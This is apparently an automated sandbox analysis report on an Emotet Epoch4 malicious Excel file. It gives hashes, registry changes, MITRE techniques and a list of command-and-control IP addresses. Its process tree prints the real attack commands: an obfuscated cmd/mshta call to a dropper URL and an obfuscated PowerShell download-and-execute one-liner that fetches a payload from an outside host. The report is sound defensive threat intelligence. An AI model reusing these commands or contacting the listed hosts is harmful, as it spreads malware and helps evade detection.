emotet | a1d4e9c497ec94e9c1182741b7096c47396c0057014747c17e618e82538eae72

Analysis

max time kernel
140s
max time network
140s
platform
windows7_x64
resource
win7-en-20211208
submitted
20-01-2022 10:08

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Report Analysis Logs

General

Target

93de92f3e2868b196ea53446264d69e9.xls
Size

142KB
MD5

93de92f3e2868b196ea53446264d69e9
SHA1

5a222d7fc81852ec5fb1ca0abca5fb7810e97299
SHA256

a1d4e9c497ec94e9c1182741b7096c47396c0057014747c17e618e82538eae72
SHA512

e0e3a2ca736ff74a5d756867a8c0418415a0f74fbb134ff09da468fe20a11c105ad9a230b8b05b9b3b45967f5afaedf1243f1f451c078bdc96d04adca7cc994e

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fer.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.7.214.7/fer/fer.png

Extracted

Family

emotet

Botnet

Epoch4

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1076	1128	cmd.exe	EXCEL.EXE

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata
Blocklisted process makes network request 6 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

4 1656 mshta.exe
5 1216 powershell.exe
7 1216 powershell.exe
9 1216 powershell.exe
11 1820 rundll32.exe
13 1820 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 8 IoCs

Processes:

rundll32.exerundll32.exe

pid process

904 rundll32.exe
904 rundll32.exe
904 rundll32.exe
904 rundll32.exe
1588 rundll32.exe
1588 rundll32.exe
1588 rundll32.exe
1588 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Mrskqk\ekre.goe rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

flow	pid	process
4	1656	mshta.exe
5	1216	powershell.exe
7	1216	powershell.exe
9	1216	powershell.exe
11	1820	rundll32.exe
13	1820	rundll32.exe

pid	process
904	rundll32.exe
904	rundll32.exe
904	rundll32.exe
904	rundll32.exe
1588	rundll32.exe
1588	rundll32.exe
1588	rundll32.exe
1588	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Mrskqk\ekre.goe	rundll32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 32 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXEmshta.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE

Modifies registry class 64 IoCs

Processes:

EXCEL.EXE

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohevi.dll"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\ = "&Print"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon\ = "\"%1\""	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\ShellEx	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ = "&Open"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\ShellEx	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\ = "&Print"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1128 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exerundll32.exe

pid process

1216 powershell.exe
1820 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1216 powershell.exe
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

1128 EXCEL.EXE
1128 EXCEL.EXE
1128 EXCEL.EXE

pid	process
1128	EXCEL.EXE

pid	process
1216	powershell.exe
1820	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	1216	powershell.exe

pid	process
1128	EXCEL.EXE
1128	EXCEL.EXE
1128	EXCEL.EXE

Suspicious use of WriteProcessMemory 48 IoCs

Processes:

EXCEL.EXEcmd.exemshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 1128 wrote to memory of 876	1128	EXCEL.EXE	splwow64.exe
PID 1128 wrote to memory of 876	1128	EXCEL.EXE	splwow64.exe
PID 1128 wrote to memory of 876	1128	EXCEL.EXE	splwow64.exe
PID 1128 wrote to memory of 876	1128	EXCEL.EXE	splwow64.exe
PID 1128 wrote to memory of 1076	1128	EXCEL.EXE	cmd.exe
PID 1128 wrote to memory of 1076	1128	EXCEL.EXE	cmd.exe
PID 1128 wrote to memory of 1076	1128	EXCEL.EXE	cmd.exe
PID 1128 wrote to memory of 1076	1128	EXCEL.EXE	cmd.exe
PID 1076 wrote to memory of 1656	1076	cmd.exe	mshta.exe
PID 1076 wrote to memory of 1656	1076	cmd.exe	mshta.exe
PID 1076 wrote to memory of 1656	1076	cmd.exe	mshta.exe
PID 1076 wrote to memory of 1656	1076	cmd.exe	mshta.exe
PID 1656 wrote to memory of 1216	1656	mshta.exe	powershell.exe
PID 1656 wrote to memory of 1216	1656	mshta.exe	powershell.exe
PID 1656 wrote to memory of 1216	1656	mshta.exe	powershell.exe
PID 1656 wrote to memory of 1216	1656	mshta.exe	powershell.exe
PID 1216 wrote to memory of 924	1216	powershell.exe	cmd.exe
PID 1216 wrote to memory of 924	1216	powershell.exe	cmd.exe
PID 1216 wrote to memory of 924	1216	powershell.exe	cmd.exe
PID 1216 wrote to memory of 924	1216	powershell.exe	cmd.exe
PID 924 wrote to memory of 904	924	cmd.exe	rundll32.exe
PID 924 wrote to memory of 904	924	cmd.exe	rundll32.exe
PID 924 wrote to memory of 904	924	cmd.exe	rundll32.exe
PID 924 wrote to memory of 904	924	cmd.exe	rundll32.exe
PID 924 wrote to memory of 904	924	cmd.exe	rundll32.exe
PID 924 wrote to memory of 904	924	cmd.exe	rundll32.exe
PID 924 wrote to memory of 904	924	cmd.exe	rundll32.exe
PID 904 wrote to memory of 1588	904	rundll32.exe	rundll32.exe
PID 904 wrote to memory of 1588	904	rundll32.exe	rundll32.exe
PID 904 wrote to memory of 1588	904	rundll32.exe	rundll32.exe
PID 904 wrote to memory of 1588	904	rundll32.exe	rundll32.exe
PID 904 wrote to memory of 1588	904	rundll32.exe	rundll32.exe
PID 904 wrote to memory of 1588	904	rundll32.exe	rundll32.exe
PID 904 wrote to memory of 1588	904	rundll32.exe	rundll32.exe
PID 1588 wrote to memory of 1888	1588	rundll32.exe	rundll32.exe
PID 1588 wrote to memory of 1888	1588	rundll32.exe	rundll32.exe
PID 1588 wrote to memory of 1888	1588	rundll32.exe	rundll32.exe
PID 1588 wrote to memory of 1888	1588	rundll32.exe	rundll32.exe
PID 1588 wrote to memory of 1888	1588	rundll32.exe	rundll32.exe
PID 1588 wrote to memory of 1888	1588	rundll32.exe	rundll32.exe
PID 1588 wrote to memory of 1888	1588	rundll32.exe	rundll32.exe
PID 1888 wrote to memory of 1820	1888	rundll32.exe	rundll32.exe
PID 1888 wrote to memory of 1820	1888	rundll32.exe	rundll32.exe
PID 1888 wrote to memory of 1820	1888	rundll32.exe	rundll32.exe
PID 1888 wrote to memory of 1820	1888	rundll32.exe	rundll32.exe
PID 1888 wrote to memory of 1820	1888	rundll32.exe	rundll32.exe
PID 1888 wrote to memory of 1820	1888	rundll32.exe	rundll32.exe
PID 1888 wrote to memory of 1820	1888	rundll32.exe	rundll32.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\93de92f3e2868b196ea53446264d69e9.xls
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1128
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:876
- C:\Windows\SysWOW64\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1076
- - C:\Windows\SysWOW64\mshta.exe
    mshta http://0xb907d607/fer/fer.html
    3⤵
    - Blocklisted process makes network request
    - Modifies Internet Explorer settings
    - Suspicious use of WriteProcessMemory
    PID:1656
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1216
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:924
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:904
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:1588
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Mrskqk\ekre.goe",NCLhqXdiLc
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:1888
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Mrskqk\ekre.goe",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:1820

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Public\Documents\ssd.dll

MD5
321380dc019516dfff7c977712f3c4cc

SHA1
88a64b3ff6a5cc01696672a3c880a4753acaf330

SHA256
2200463c1d38d5aab53073663fb65625a6c6df671ac9c26ff35e6567cbc588a9

SHA512
15fc392df12e787e503b14f957b00ef703de66e2a5e7029d6a2a5a3d443ee33ba19429f8f140c3f9d9c4175ab7d3c01079417b21051cdc033eda9b81ff5dd763

Download Submit
\Users\Public\Documents\ssd.dll

MD5
321380dc019516dfff7c977712f3c4cc

SHA1
88a64b3ff6a5cc01696672a3c880a4753acaf330

SHA256
2200463c1d38d5aab53073663fb65625a6c6df671ac9c26ff35e6567cbc588a9

SHA512
15fc392df12e787e503b14f957b00ef703de66e2a5e7029d6a2a5a3d443ee33ba19429f8f140c3f9d9c4175ab7d3c01079417b21051cdc033eda9b81ff5dd763

Download Submit
\Users\Public\Documents\ssd.dll

MD5
321380dc019516dfff7c977712f3c4cc

SHA1
88a64b3ff6a5cc01696672a3c880a4753acaf330

SHA256
2200463c1d38d5aab53073663fb65625a6c6df671ac9c26ff35e6567cbc588a9

SHA512
15fc392df12e787e503b14f957b00ef703de66e2a5e7029d6a2a5a3d443ee33ba19429f8f140c3f9d9c4175ab7d3c01079417b21051cdc033eda9b81ff5dd763

Download Submit
\Users\Public\Documents\ssd.dll

MD5
321380dc019516dfff7c977712f3c4cc

SHA1
88a64b3ff6a5cc01696672a3c880a4753acaf330

SHA256
2200463c1d38d5aab53073663fb65625a6c6df671ac9c26ff35e6567cbc588a9

